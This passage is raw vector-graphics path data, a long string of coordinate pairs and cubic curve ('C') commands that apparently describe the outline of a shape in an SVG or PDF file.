117605.33 129361.00 117594.67 129372.00 117584.00C129382.67 117594.67 129393.33 117605.33 129404.00 117616.00C129414.67 117616.00 129425.33 117616.00 129436.00 117616.00C129446.67 117605.33 129457.33 117594.67 129468.00 117584.00C129468.00 117573.33 129468.00 117562.67 129468.00 117552.00C129457.33 117541.33 129446.67 117530.67 129436.00 117520.00C129446.67 117509.33 129457.33 117498.67 129468.00 117488.00C129468.00 117477.00 129468.00 117466.00 129468.00 117455.00C129478.67 117444.33 129489.33 117433.67 129500.00 117423.00C129511.62 117433.91 129521.91 117446.39 129534.43 117456.23C129555.29 117466.83 129576.15 117477.41 129597.00 117488.00C129607.67 117488.00 129618.33 117488.00 129629.00 117488.00C129629.00 117477.00 129629.00 117466.00 129629.00 117455.00C129618.33 117444.33 129607.67 117433.67 129597.00 117423.00C129607.67 117401.67 129618.33 117380.33 129629.00 117359.00C129629.00 117337.67 129629.00 117316.33 129629.00 117295.00C129650.33 117284.33 129671.67 117273.67 129693.00 117263.00C129703.67 117252.00 129714.33 117241.00 129725.00 117230.00C129735.67 117241.00 129746.33 117252.00 129757.00 117263.00C129767.67 117263.00 129778.33 117263.00 129789.00 117263.00C129778.33 117273.67 129767.67 117284.33 129757.00 117295.00C129767.67 117305.67 129778.33 117316.33 129789.00 117327.00C129800.00 117327.00 129811.00 117327.00 129822.00 117327.00C129832.67 117337.67 129843.33 117348.33 129854.00 117359.00C129875.43 117348.18 129897.03 117337.71 129918.34 117326.66C129928.89 117316.11 129939.45 117305.55 129950.00 117295.00C129971.67 117295.00 129993.33 117295.00 130015.00 117295.00C130015.00 117284.33 130015.00 117273.67 130015.00 117263.00C130004.00 117252.00 129993.00 117241.00 129982.00 117230.00C129993.15 117208.57 130003.97 117186.97 130015.34 117165.66C130025.89 117155.11 130036.45 117144.55 130047.00 117134.00C130057.67 117134.00 130068.33 117134.00 130079.00 117134.00C130068.33 117112.67 130057.67 117091.33 130047.00 117070.00C130089.67 117070.00 130132.33 117070.00 130175.00 117070.00C130175.00 117091.33 130175.00 117112.67 130175.00 117134.00C130196.67 117134.00 130218.33 117134.00 130240.00 117134.00C130261.33 117112.67 130282.67 117091.33 130304.00 117070.00C130304.00 117059.33 130304.00 117048.67 130304.00 117038.00C130325.33 117038.00 130346.67 117038.00 130368.00 117038.00C130389.67 116984.33 130411.33 116930.67 130433.00 116877.00C130443.67 116877.00 130454.33 116877.00 130465.00 116877.00C130475.67 116887.67 130486.33 116898.33 130497.00 116909.00C130497.00 116919.67 130497.00 116930.33 130497.00 116941.00C130518.33 116930.33 130539.67 116919.67 130561.00 116909.00C130571.67 116909.00 130582.33 116909.00 130593.00 116909.00C130593.00 116898.33 130593.00 116887.67 130593.00 116877.00C130614.67 116855.33 130636.33 116833.67 130658.00 116812.00C130636.33 116801.33 130614.67 116790.67 130593.00 116780.00C130582.18 116758.57 130571.71 116736.97 130560.66 116715.66C130550.11 116705.11 130539.55 116694.55 130529.00 116684.00C130540.60 116673.09 130550.92 116660.65 130563.40 116650.77C130583.93 116640.17 130604.47 116629.59 130625.00 116619.00C130614.33 116597.67 130603.67 116576.33 130593.00 116555.00C130614.67 116544.33 130636.33 116533.67 130658.00 116523.00C130658.00 116533.67 130658.00 116544.33 130658.00 116555.00C130668.67 116565.67 130679.33 116576.33 130690.00 116587.00C130690.00 116555.00 130690.00 116523.00 130690.00 116491.00C130711.33 116469.67 130732.67 116448.33 130754.00 116427.00C130775.33 116427.00 130796.67 116427.00 130818.00 116427.00C130796.67 116416.00 130775.33 116405.00 130754.00 116394.00C130775.33 116394.00 130796.67 116394.00 130818.00 116394.00C130829.22 116382.38 130842.09 116372.18 130852.21 116359.60C130862.47 116339.07 130872.73 116318.53 130883.00 116298.00C130893.67 116298.00 130904.33 116298.00 130915.00 116298.00C130936.33 116276.67 130957.67 116255.33 130979.00 116234.00C130989.67 116234.00 131000.33 116234.00 131011.00 116234.00C131011.00 116287.33 131011.00 116340.67 131011.00 116394.00C131021.67 116405.00 131032.33 116416.00 131043.00 116427.00C131043.00 116405.33 131043.00 116383.67 131043.00 116362.00C131064.67 116351.33 131086.33 116340.67 131108.00 116330.00C131108.00 116308.67 131108.00 116287.33 131108.00 116266.00C131129.33 116255.33 131150.67 116244.67 131172.00 116234.00C131182.67 116244.67 131193.33 116255.33 131204.00 116266.00C131214.67 116255.33 131225.33 116244.67 131236.00 116234.00C131247.00 116234.00 131258.00 116234.00 131269.00 116234.00C131258.00 116223.33 131247.00 116212.67 131236.00 116202.00C131247.00 116191.00 131258.00 116180.00 131269.00 116169.00C131269.00 116158.33 131269.00 116147.67 131269.00 116137.00C131290.33 116147.67 131311.67 116158.33 131333.00 116169.00C131333.00 116158.33 131333.00 116147.67 131333.00 116137.00C131343.67 116137.00 131354.33 116137.00 131365.00 116137.00C131386.33 116115.67 131407.67 116094.33 131429.00 116073.00C131439.67 116073.00 131450.33 116073.00 131461.00 116073.00C131472.00 116083.67 131483.00 116094.33 131494.00 116105.00C131504.67 116105.00 131515.33 116105.00 131526.00 116105.00C131526.00 116094.33 131526.00 116083.67 131526.00 116073.00C131515.33 116062.33 131504.67 116051.67 131494.00 116041.00C131504.67 116019.33 131515.33 115997.67 131526.00 115976.00C131547.33 115976.00 131568.67 115976.00 131590.00 115976.00C131590.00 115987.00 131590.00 115998.00 131590.00 116009.00C131600.67 115998.00 131611.33 115987.00 131622.00 115976.00C131643.67 115976.00 131665.33 115976.00 131687.00 115976.00C131687.00 115965.33 131687.00 115954.67 131687.00 115944.00C131665.33 115944.00 131643.67 115944.00 131622.00 115944.00C131643.67 115933.33 131665.33 115922.67 131687.00 115912.00C131687.00 115890.67 131687.00 115869.33 131687.00 115848.00C131697.67 115858.67 131708.33 115869.33 131719.00 115880.00C131729.67 115869.33 131740.33 115858.67 131751.00 115848.00C131772.33 115848.00 131793.67 115848.00 131815.00 115848.00C131815.00 115837.33 131815.00 115826.67 131815.00 115816.00C131836.33 115805.00 131857.67 115794.00 131879.00 115783.00C131879.00 115772.33 131879.00 115761.67 131879.00 115751.00C131868.33 115751.00 131857.67 115751.00 131847.00 115751.00C131847.00 115729.67 131847.00 115708.33 131847.00 115687.00C131868.67 115697.67 131890.33 115708.33 131912.00 115719.00C131926.66 115705.35 131939.10 115688.95 131956.55 115678.64C131984.37 115660.09 132012.18 115641.54 132040.00 115623.00C132050.81 115623.14 132061.63 115622.71 132072.43 115623.21C132093.95 115633.81 132115.48 115644.40 132137.00 115655.00C132126.33 115633.67 132115.67 115612.33 132105.00 115591.00C132126.33 115591.00 132147.67 115591.00 132169.00 115591.00C132179.67 115580.00 132190.33 115569.00 132201.00 115558.00C132201.00 115536.67 132201.00 115515.33 132201.00 115494.00C132190.33 115472.67 132179.67 115451.33 132169.00 115430.00C132158.33 115430.00 132147.67 115430.00 132137.00 115430.00C132147.67 115430.00 132158.33 115430.00 132169.00 115430.00C132158.33 115419.33 132147.67 115408.67 132137.00 115398.00C132147.67 115387.33 132158.33 115376.67 132169.00 115366.00C132158.15 115354.96 132147.61 115343.63 132136.57 115332.79C132115.05 115322.19 132093.52 115311.60 132072.00 115301.00C132072.00 115290.33 132072.00 115279.67 132072.00 115269.00C132061.33 115269.00 132050.67 115269.00 132040.00 115269.00C132040.00 115237.00 132040.00 115205.00 132040.00 115173.00C132050.67 115173.00 132061.33 115173.00 132072.00 115173.00C132072.00 115151.33 132072.00 115129.67 132072.00 115108.00C132040.00 115086.67 132008.00 115065.33 131976.00 115044.00C131976.00 115022.67 131976.00 115001.33 131976.00 114980.00C131965.33 114980.00 131954.67 114980.00 131944.00 114980.00C131944.00 114969.00 131944.00 114958.00 131944.00 114947.00C131933.33 114936.33 131922.67 114925.67 131912.00 114915.00C131922.67 114915.00 131933.33 114915.00 131944.00 114915.00C131933.33 114904.33 131922.67 114893.67 131912.00 114883.00C131922.67 114872.33 131933.33 114861.67 131944.00 114851.00C131933.33 114851.00 131922.67 114851.00 131912.00 114851.00C131922.67 114840.33 131933.33 114829.67 131944.00 114819.00C131933.33 114808.33 131922.67 114797.67 131912.00 114787.00C131901.00 114787.00 131890.00 114787.00 131879.00 114787.00C131868.33 114776.33 131857.67 114765.67 131847.00 114755.00C131857.67 114755.00 131868.33 114755.00 131879.00 114755.00C131868.33 114744.00 131857.67 114733.00 131847.00 114722.00C131857.67 114700.67 131868.33 114679.33 131879.00 114658.00C131868.33 114647.33 131857.67 114636.67 131847.00 114626.00C131847.00 114604.67 131847.00 114583.33 131847.00 114562.00C131836.33 114540.33 131825.67 114518.67 131815.00 114497.00C131804.33 114486.33 131793.67 114475.67 131783.00 114465.00C131815.00 114433.00 131847.00 114401.00 131879.00 114369.00C131890.00 114369.00 131901.00 114369.00 131912.00 114369.00C131890.33 114358.33 131868.67 114347.67 131847.00 114337.00C131857.67 114337.00 131868.33 114337.00 131879.00 114337.00C131890.00 114326.00 131901.00 114315.00 131912.00 114304.00C131901.00 114293.33 131890.00 114282.67 131879.00 114272.00C131879.00 114261.33 131879.00 114250.67 131879.00 114240.00C131900.67 114229.33 131922.33 114218.67 131944.00 114208.00C131944.00 114197.33 131944.00 114186.67 131944.00 114176.00C131954.67 114165.33 131965.33 114154.67 131976.00 114144.00C131976.00 114133.33 131976.00 114122.67 131976.00 114112.00C131965.33 114101.00 131954.67 114090.00 131944.00 114079.00C131944.00 114068.33 131944.00 114057.67 131944.00 114047.00C131976.00 114015.00 132008.00 113983.00 132040.00 113951.00C132050.67 113929.33 132061.33 113907.67 132072.00 113886.00C132072.00 113864.67 132072.00 113843.33 132072.00 113822.00C132083.00 113811.33 132094.00 113800.67 132105.00 113790.00C132115.67 113790.00 132126.33 113790.00 132137.00 113790.00C132137.00 113779.33 132137.00 113768.67 132137.00 113758.00C132158.33 113758.00 132179.67 113758.00 132201.00 113758.00C132222.33 113736.67 132243.67 113715.33 132265.00 113694.00C132265.00 113672.33 132265.00 113650.67 132265.00 113629.00C132254.33 113629.00 132243.67 113629.00 132233.00 113629.00C132233.00 113597.00 132233.00 113565.00 132233.00 113533.00C132254.33 113533.00 132275.67 113533.00 132297.00 113533.00C132297.00 113479.33 132297.00 113425.67 132297.00 113372.00C132285.36 113349.46 132274.90 113326.30 132262.47 113304.19C132241.27 113272.59 132221.09 113240.24 132199.17 113209.17C132167.78 113177.78 132136.39 113146.39 132105.00 113115.00C132083.13 113072.10 132061.46 113029.10 132040.00 112986.00C132018.67 112975.33 131997.33 112964.67 131976.00 112954.00C131943.67 112964.67 131911.33 112975.33 131879.00 112986.00C131846.24 112974.83 131813.14 112964.56 131780.60 112952.79C131760.07 112942.52 131739.53 112932.27 131719.00 112922.00C131697.33 112922.00 131675.67 112922.00 131654.00 112922.00C131632.49 112932.66 131611.13 112943.62 131589.53 112954.09C131536.02 112964.73 131482.51 112975.36 131429.00 112986.00C131418.33 112996.67 131407.67 113007.33 131397.00 113018.00C131375.67 113018.00 131354.33 113018.00 131333.00 113018.00C131322.33 112975.33 131311.67 112932.67 131301.00 112890.00C131279.33 112922.00 131257.67 112954.00 131236.00 112986.00C131225.33 112975.33 131214.67 112964.67 131204.00 112954.00C131193.33 112954.00 131182.67 112954.00 131172.00 112954.00C131172.00 112889.67 131172.00 112825.33 131172.00 112761.00C131161.10 112749.39 131148.63 112739.11 131138.79 112726.60C131128.53 112706.07 131118.27 112685.53 131108.00 112665.00C131075.67 112654.00 131043.33 112643.00 131011.00 112632.00C131000.33 112632.00 130989.67 112632.00 130979.00 112632.00C130989.67 112610.67 131000.33 112589.33 131011.00 112568.00C131032.67 112568.00 131054.33 112568.00 131076.00 112568.00C131076.00 112536.00 131076.00 112504.00 131076.00 112472.00C131065.00 112472.00 131054.00 112472.00 131043.00 112472.00C131043.00 112461.33 131043.00 112450.67 131043.00 112440.00C131032.33 112429.00 131021.67 112418.00 131011.00 112407.00C131032.67 112407.00 131054.33 112407.00 131076.00 112407.00C131076.00 112396.33 131076.00 112385.67 131076.00 112375.00C131065.00 112375.00 131054.00 112375.00 131043.00 112375.00C131043.00 112364.33 131043.00 112353.67 131043.00 112343.00C131032.33 112332.33 131021.67 112321.67 131011.00 112311.00C131021.67 112311.00 131032.33 112311.00 131043.00 112311.00C131043.00 112289.67 131043.00 112268.33 131043.00 112247.00C131054.00 112257.67 131065.00 112268.33 131076.00 112279.00C131086.67 112268.33 131097.33 112257.67 131108.00 112247.00C131108.00 112214.67 131108.00 112182.33 131108.00 112150.00C131097.33 112139.33 131086.67 112128.67 131076.00 112118.00C131108.00 112096.67 131140.00 112075.33 131172.00 112054.00C131161.33 112054.00 131150.67 112054.00 131140.00 112054.00C131140.00 112032.33 131140.00 112010.67 131140.00 111989.00C131140.00 112000.00 131140.00 112011.00 131140.00 112022.00C131161.33 112032.67 131182.67 112043.33 131204.00 112054.00C131204.00 112064.67 131204.00 112075.33 131204.00 112086.00C131214.67 112086.00 131225.33 112086.00 131236.00 112086.00C131236.00 112096.67 131236.00 112107.33 131236.00 112118.00C131268.33 112107.33 131300.67 112096.67 131333.00 112086.00C131343.67 112107.33 131354.33 112128.67 131365.00 112150.00C131375.67 112139.33 131386.33 112128.67 131397.00 112118.00C131386.33 112107.33 131375.67 112096.67 131365.00 112086.00C131386.33 112086.00 131407.67 112086.00 131429.00 112086.00C131429.00 112096.67 131429.00 112107.33 131429.00 112118.00C131439.67 112107.33 131450.33 112096.67 131461.00 112086.00C131439.67 112064.67 131418.33 112043.33 131397.00 112022.00C131407.67 112022.00 131418.33 112022.00 131429.00 112022.00C131429.00 112011.00 131429.00 112000.00 131429.00 111989.00C131439.67 111989.00 131450.33 111989.00 131461.00 111989.00C131472.00 111978.33 131483.00 111967.67 131494.00 111957.00C131515.33 111967.67 131536.67 111978.33 131558.00 111989.00C131557.85 111978.19 131558.29 111967.37 131557.78 111956.57C131547.19 111935.38 131536.59 111914.19 131526.00 111893.00C131536.67 111882.33 131547.33 111871.67 131558.00 111861.00C131558.00 111850.33 131558.00 111839.67 131558.00 111829.00C131547.33 111818.33 131536.67 111807.67 131526.00 111797.00C131515.33 111797.00 131504.67 111797.00 131494.00 111797.00C131494.00 111786.00 131494.00 111775.00 131494.00 111764.00C131526.00 111753.33 131558.00 111742.67 131590.00 111732.00C131590.00 111721.33 131590.00 111710.67 131590.00 111700.00C131579.33 111689.33 131568.67 111678.67 131558.00 111668.00C131579.33 111668.00 131600.67 111668.00 131622.00 111668.00C131622.00 111646.67 131622.00 111625.33 131622.00 111604.00C131643.67 111604.00 131665.33 111604.00 131687.00 111604.00C131697.67 111614.67 131708.33 111625.33 131719.00 111636.00C131729.67 111625.33 131740.33 111614.67 131751.00 111604.00C131740.33 111593.00 131729.67 111582.00 131719.00 111571.00C131729.67 111571.00 131740.33 111571.00 131751.00 111571.00C131740.33 111549.67 131729.67 111528.33 131719.00 111507.00C131729.67 111496.33 131740.33 111485.67 131751.00 111475.00C131783.00 111475.00 131815.00 111475.00 131847.00 111475.00C131847.00 111453.67 131847.00 111432.33 131847.00 111411.00C131857.67 111400.33 131868.33 111389.67 131879.00 111379.00C131879.00 111389.67 131879.00 111400.33 131879.00 111411.00C131890.00 111411.00 131901.00 111411.00 131912.00 111411.00C131912.00 111400.33 131912.00 111389.67 131912.00 111379.00C131890.33 111357.33 131868.67 111335.67 131847.00 111314.00C131879.33 111314.00 131911.67 111314.00 131944.00 111314.00C131922.33 111303.33 131900.67 111292.67 131879.00 111282.00C131890.00 111271.33 131901.00 111260.67 131912.00 111250.00C131901.00 111239.33 131890.00 111228.67 131879.00 111218.00C131911.33 111218.00 131943.67 111218.00 131976.00 111218.00C131986.67 111207.33 131997.33 111196.67 132008.00 111186.00C131997.33 111175.00 131986.67 111164.00 131976.00 111153.00C131986.67 111142.33 131997.33 111131.67 132008.00 111121.00C132008.00 111131.67 132008.00 111142.33 132008.00 111153.00C132029.33 111142.33 132050.67 111131.67 132072.00 111121.00C132083.00 111142.67 132094.00 111164.33 132105.00 111186.00C132115.67 111175.00 132126.33 111164.00 132137.00 111153.00C132126.33 111142.33 132115.67 111131.67 132105.00 111121.00C132126.33 111110.33 132147.67 111099.67 132169.00 111089.00C132190.33 111099.67 132211.67 111110.33 132233.00 111121.00C132222.33 111099.67 132211.67 111078.33 132201.00 111057.00C132211.67 111046.33 132222.33 111035.67 132233.00 111025.00C132233.00 111014.33 132233.00 111003.67 132233.00 110993.00C132243.67 110993.00 132254.33 110993.00 132265.00 110993.00C132254.33 110982.33 132243.67 110971.67 132233.00 110961.00C132243.67 110939.33 132254.33 110917.67 132265.00 110896.00C132275.67 110917.67 132286.33 110939.33 132297.00 110961.00C132297.00 110928.67 132297.00 110896.33 132297.00 110864.00C132308.00 110874.67 132319.00 110885.33 132330.00 110896.00C132330.00 110885.33 132330.00 110874.67 132330.00 110864.00C132340.67 110874.67 132351.33 110885.33 132362.00 110896.00C132372.67 110896.00 132383.33 110896.00 132394.00 110896.00C132394.00 110864.00 132394.00 110832.00 132394.00 110800.00C132394.00 110810.67 132394.00 110821.33 132394.00 110832.00C132404.67 110821.33 132415.33 110810.67 132426.00 110800.00C132436.67 110810.67 132447.33 110821.33 132458.00 110832.00C132468.67 110832.00 132479.33 110832.00 132490.00 110832.00C132479.33 110832.00 132468.67 110832.00 132458.00 110832.00C132458.00 110821.33 132458.00 110810.67 132458.00 110800.00C132468.67 110800.00 132479.33 110800.00 132490.00 110800.00C132490.00 110789.33 132490.00 110778.67 132490.00 110768.00C132522.33 110778.67 132554.67 110789.33 132587.00 110800.00C132576.33 110789.33 132565.67 110778.67 132555.00 110768.00C132565.67 110757.00 132576.33 110746.00 132587.00 110735.00C132597.67 110746.00 132608.33 110757.00 132619.00 110768.00C132629.67 110757.00 132640.33 110746.00 132651.00 110735.00C132640.33 110735.00 132629.67 110735.00 132619.00 110735.00C132619.00 110724.33 132619.00 110713.67 132619.00 110703.00C132629.67 110703.00 132640.33 110703.00 132651.00 110703.00C132661.67 110692.33 132672.33 110681.67 132683.00 110671.00C132683.00 110681.67 132683.00 110692.33 132683.00 110703.00C132693.67 110692.33 132704.33 110681.67 132715.00 110671.00C132704.33 110671.00 132693.67 110671.00 132683.00 110671.00C132683.00 110639.00 132683.00 110607.00 132683.00 110575.00C132693.67 110575.00 132704.33 110575.00 132715.00 110575.00C132715.00 110585.67 132715.00 110596.33 132715.00 110607.00C132736.67 110617.67 132758.33 110628.33 132780.00 110639.00C132769.33 110628.33 132758.67 110617.67 132748.00 110607.00C132758.67 110607.00 132769.33 110607.00 132780.00 110607.00C132780.00 110596.33 132780.00 110585.67 132780.00 110575.00C132790.67 110564.33 132801.33 110553.67 132812.00 110543.00C132812.00 110553.67 132812.00 110564.33 132812.00 110575.00C132812.00 110564.33 132812.00 110553.67 132812.00 110543.00C132822.67 110553.67 132833.33 110564.33 132844.00 110575.00C132844.00 110564.33 132844.00 110553.67 132844.00 110543.00C132854.67 110543.00 132865.33 110543.00 132876.00 110543.00C132865.33 110532.00 132854.67 110521.00 132844.00 110510.00C132865.33 110510.00 132886.67 110510.00 132908.00 110510.00C132897.33 110499.33 132886.67 110488.67 132876.00 110478.00C132897.33 110467.33 132918.67 110456.67 132940.00 110446.00C132940.00 110435.33 132940.00 110424.67 132940.00 110414.00C132918.67 110424.67 132897.33 110435.33 132876.00 110446.00C132876.00 110435.33 132876.00 110424.67 132876.00 110414.00C132886.67 110414.00 132897.33 110414.00 132908.00 110414.00C132908.00 110403.33 132908.00 110392.67 132908.00 110382.00C132886.67 110382.00 132865.33 110382.00 132844.00 110382.00C132876.00 110371.33 132908.00 110360.67 132940.00 110350.00C132951.00 110339.00 132962.00 110328.00 132973.00 110317.00C132961.07 110306.09 132950.39 110293.67 132937.60 110283.79C132917.07 110273.52 132896.53 110263.27 132876.00 110253.00C132876.00 110242.33 132876.00 110231.67 132876.00 110221.00C132865.33 110231.67 132854.67 110242.33 132844.00 110253.00C132833.33 110242.33 132822.67 110231.67 132812.00 110221.00C132822.67 110210.33 132833.33 110199.67 132844.00 110189.00C132822.67 110178.33 132801.33 110167.67 132780.00 110157.00C132790.67 110146.33 132801.33 110135.67 132812.00 110125.00C132801.33 110114.00 132790.67 110103.00 132780.00 110092.00C132769.33 110103.00 132758.67 110114.00 132748.00 110125.00C132748.00 110114.00 132748.00 110103.00 132748.00 110092.00C132737.00 110081.33 132726.00 110070.67 132715.00 110060.00C132747.33 110049.33 132779.67 110038.67 132812.00 110028.00C132801.33 110017.33 132790.67 110006.67 132780.00 109996.00C132769.33 109996.00 132758.67 109996.00 132748.00 109996.00C132737.00 109974.67 132726.00 109953.33 132715.00 109932.00C132704.19 109932.15 132693.37 109931.71 132682.57 109932.22C132661.38 109942.81 132640.19 109953.41 132619.00 109964.00C132629.67 109942.33 132640.33 109920.67 132651.00 109899.00C132640.33 109899.00 132629.67 109899.00 132619.00 109899.00C132608.33 109888.33 132597.67 109877.67 132587.00 109867.00C132597.67 109867.00 132608.33 109867.00 132619.00 109867.00C132629.67 109856.33 132640.33 109845.67 132651.00 109835.00C132640.33 109835.00 132629.67 109835.00 132619.00 109835.00C132619.00 109824.33 132619.00 109813.67 132619.00 109803.00C132608.33 109803.00 132597.67 109803.00 132587.00 109803.00C132576.33 109781.67 132565.67 109760.33 132555.00 109739.00C132576.33 109739.00 132597.67 109739.00 132619.00 109739.00C132618.90 109728.18 132619.20 109717.36 132618.85 109706.54C132608.24 109674.36 132597.62 109642.18 132587.00 109610.00C132608.33 109588.67 132629.67 109567.33 132651.00 109546.00C132619.00 109556.67 132587.00 109567.33 132555.00 109578.00C132555.00 109567.33 132555.00 109556.67 132555.00 109546.00C132565.67 109535.33 132576.33 109524.67 132587.00 109514.00C132565.67 109503.00 132544.33 109492.00 132523.00 109481.00C132523.00 109427.67 132523.00 109374.33 132523.00 109321.00C132501.33 109321.00 132479.67 109321.00 132458.00 109321.00C132458.00 109299.33 132458.00 109277.67 132458.00 109256.00C132468.67 109256.00 132479.33 109256.00 132490.00 109256.00C132479.33 109256.00 132468.67 109256.00 132458.00 109256.00C132447.33 109245.33 132436.67 109234.67 132426.00 109224.00C132436.82 109202.57 132447.29 109180.97 132458.34 109159.66C132468.89 109149.11 132479.45 109138.55 132490.00 109128.00C132479.33 109117.33 132468.67 109106.67 132458.00 109096.00C132468.67 109096.00 132479.33 109096.00 132490.00 109096.00C132490.00 109063.67 132490.00 109031.33 132490.00 108999.00C132468.67 108988.33 132447.33 108977.67 132426.00 108967.00C132404.67 108967.00 132383.33 108967.00 132362.00 108967.00C132372.67 108956.33 132383.33 108945.67 132394.00 108935.00C132394.00 108902.67 132394.00 108870.33 132394.00 108838.00C132383.33 108849.00 132372.67 108860.00 132362.00 108871.00C132351.33 108860.00 132340.67 108849.00 132330.00 108838.00C132351.33 108827.33 132372.67 108816.67 132394.00 108806.00C132383.33 108795.33 132372.67 108784.67 132362.00 108774.00C132351.33 108774.00 132340.67 108774.00 132330.00 108774.00C132340.67 108774.00 132351.33 108774.00 132362.00 108774.00C132351.33 108752.67 132340.67 108731.33 132330.00 108710.00C132308.08 108731.08 132286.41 108752.40 132265.00 108774.00C132254.33 108763.33 132243.67 108752.67 132233.00 108742.00C132233.00 108720.67 132233.00 108699.33 132233.00 108678.00C132222.33 108678.00 132211.67 108678.00 132201.00 108678.00C132201.00 108656.33 132201.00 108634.67 132201.00 108613.00C132190.33 108624.00 132179.67 108635.00 132169.00 108646.00C132169.00 108624.33 132169.00 108602.67 132169.00 108581.00C132158.33 108581.00 132147.67 108581.00 132137.00 108581.00C132126.33 108591.67 132115.67 108602.33 132105.00 108613.00C132105.00 108602.33 132105.00 108591.67 132105.00 108581.00C132094.00 108559.67 132083.00 108538.33 132072.00 108517.00C132061.33 108527.67 132050.67 108538.33 132040.00 108549.00C132050.67 108527.67 132061.33 108506.33 132072.00 108485.00C132061.33 108474.33 132050.67 108463.67 132040.00 108453.00C132040.00 108463.67 132040.00 108474.33 132040.00 108485.00C132018.67 108506.33 131997.33 108527.67 131976.00 108549.00C131965.33 108538.33 131954.67 108527.67 131944.00 108517.00C131954.67 108506.33 131965.33 108495.67 131976.00 108485.00C131965.33 108474.33 131954.67 108463.67 131944.00 108453.00C131954.67 108453.00 131965.33 108453.00 131976.00 108453.00C131965.33 108453.00 131954.67 108453.00 131944.00 108453.00C131944.00 108442.00 131944.00 108431.00 131944.00 108420.00C131922.33 108420.00 131900.67 108420.00 131879.00 108420.00C131879.00 108409.33 131879.00 108398.67 131879.00 108388.00C131857.67 108398.67 131836.33 108409.33 131815.00 108420.00C131815.00 108431.00 131815.00 108442.00 131815.00 108453.00C131804.33 108453.00 131793.67 108453.00 131783.00 108453.00C131783.00 108420.67 131783.00 108388.33 131783.00 108356.00C131761.67 108356.00 131740.33 108356.00 131719.00 108356.00C131719.00 108366.67 131719.00 108377.33 131719.00 108388.00C131708.33 108377.33 131697.67 108366.67 131687.00 108356.00C131687.00 108345.33 131687.00 108334.67 131687.00 108324.00C131654.67 108324.00 131622.33 108324.00 131590.00 108324.00C131600.67 108313.33 131611.33 108302.67 131622.00 108292.00C131611.33 108292.00 131600.67 108292.00 131590.00 108292.00C131600.67 108281.33 131611.33 108270.67 131622.00 108260.00C131611.33 108260.00 131600.67 108260.00 131590.00 108260.00C131600.67 108249.00 131611.33 108238.00 131622.00 108227.00C131611.33 108216.33 131600.67 108205.67 131590.00 108195.00C131579.33 108205.67 131568.67 108216.33 131558.00 108227.00C131547.33 108216.33 131536.67 108205.67 131526.00 108195.00C131526.00 108205.67 131526.00 108216.33 131526.00 108227.00C131515.33 108216.33 131504.67 108205.67 131494.00 108195.00C131504.67 108184.33 131515.33 108173.67 131526.00 108163.00C131504.33 108163.00 131482.67 108163.00 131461.00 108163.00C131461.00 108141.67 131461.00 108120.33 131461.00 108099.00C131450.18 108077.57 131439.70 108055.97 131428.66 108034.65C131418.11 108023.77 131407.55 108012.88 131397.00 108002.00C131397.00 107938.00 131397.00 107874.00 131397.00 107810.00C131407.91 107798.07 131420.33 107787.39 131430.21 107774.60C131440.47 107754.07 131450.73 107733.53 131461.00 107713.00C131482.67 107702.33 131504.33 107691.67 131526.00 107681.00C131536.67 107648.67 131547.33 107616.33 131558.00 107584.00C131547.33 107541.33 131536.67 107498.67 131526.00 107456.00C131547.60 107434.59 131568.92 107412.92 131590.00 107391.00C131611.33 107380.33 131632.67 107369.67 131654.00 107359.00C131686.73 107304.67 131720.08 107250.71 131752.41 107196.14C131762.59 107175.42 131772.81 107154.72 131783.00 107134.00C131793.67 107134.00 131804.33 107134.00 131815.00 107134.00C131825.67 107102.00 131836.33 107070.00 131847.00 107038.00C131857.67 107027.33 131868.33 107016.67 131879.00 107006.00C131879.00 106984.33 131879.00 106962.67 131879.00 106941.00C131890.00 106930.33 131901.00 106919.67 131912.00 106909.00C131901.00 106898.33 131890.00 106887.67 131879.00 106877.00C131890.00 106855.67 131901.00 106834.33 131912.00 106813.00C131933.33 106802.33 131954.67 106791.67 131976.00 106781.00C131976.00 106770.00 131976.00 106759.00 131976.00 106748.00C131986.67 106748.00 131997.33 106748.00 132008.00 106748.00C132018.67 106716.00 132029.33 106684.00 132040.00 106652.00C132029.33 106619.67 132018.67 106587.33 132008.00 106555.00C132018.67 106555.00 132029.33 106555.00 132040.00 106555.00C132018.67 106533.67 131997.33 106512.33 131976.00 106491.00C131986.67 106491.00 131997.33 106491.00 132008.00 106491.00C131997.33 106469.67 131986.67 106448.33 131976.00 106427.00C131965.33 106427.00 131954.67 106427.00 131944.00 106427.00C131954.67 106416.33 131965.33 106405.67 131976.00 106395.00C131976.00 106384.33 131976.00 106373.67 131976.00 106363.00C131965.33 106352.00 131954.67 106341.00 131944.00 106330.00C131933.33 106330.00 131922.67 106330.00 131912.00 106330.00C131922.67 106319.33 131933.33 106308.67 131944.00 106298.00C131933.33 106287.33 131922.67 106276.67 131912.00 106266.00C131922.67 106255.33 131933.33 106244.67 131944.00 106234.00C131933.33 106234.00 131922.67 106234.00 131912.00 106234.00C131912.00 106223.33 131912.00 106212.67 131912.00 106202.00C131901.00 106191.33 131890.00 106180.67 131879.00 106170.00C131900.67 106159.33 131922.33 106148.67 131944.00 106138.00C131944.00 106127.00 131944.00 106116.00 131944.00 106105.00C131954.67 106105.00 131965.33 106105.00 131976.00 106105.00C131965.33 106094.33 131954.67 106083.67 131944.00 106073.00C131954.67 106062.33 131965.33 106051.67 131976.00 106041.00C131976.00 106009.00 131976.00 105977.00 131976.00 105945.00C131986.67 105955.67 131997.33 105966.33 132008.00 105977.00C132008.00 105966.33 132008.00 105955.67 132008.00 105945.00C132018.67 105945.00 132029.33 105945.00 132040.00 105945.00C132040.00 105955.67 132040.00 105966.33 132040.00 105977.00C132050.67 105966.33 132061.33 105955.67 132072.00 105945.00C132072.00 105934.00 132072.00 105923.00 132072.00 105912.00C132083.00 105912.00 132094.00 105912.00 132105.00 105912.00C132105.00 105901.33 132105.00 105890.67 132105.00 105880.00C132094.00 105869.33 132083.00 105858.67 132072.00 105848.00C132083.00 105837.33 132094.00 105826.67 132105.00 105816.00C132105.00 105783.67 132105.00 105751.33 132105.00 105719.00C132094.00 105719.00 132083.00 105719.00 132072.00 105719.00C132083.00 105708.33 132094.00 105697.67 132105.00 105687.00C132094.00 105687.00 132083.00 105687.00 132072.00 105687.00C132093.67 105676.33 132115.33 105665.67 132137.00 105655.00C132137.00 105633.67 132137.00 105612.33 132137.00 105591.00C132137.00 105601.67 132137.00 105612.33 132137.00 105623.00C132137.00 105612.33 132137.00 105601.67 132137.00 105591.00C132158.33 105591.00 132179.67 105591.00 132201.00 105591.00C132201.00 105580.33 132201.00 105569.67 132201.00 105559.00C132211.67 105569.67 132222.33 105580.33 132233.00 105591.00C132233.00 105580.33 132233.00 105569.67 132233.00 105559.00C132233.00 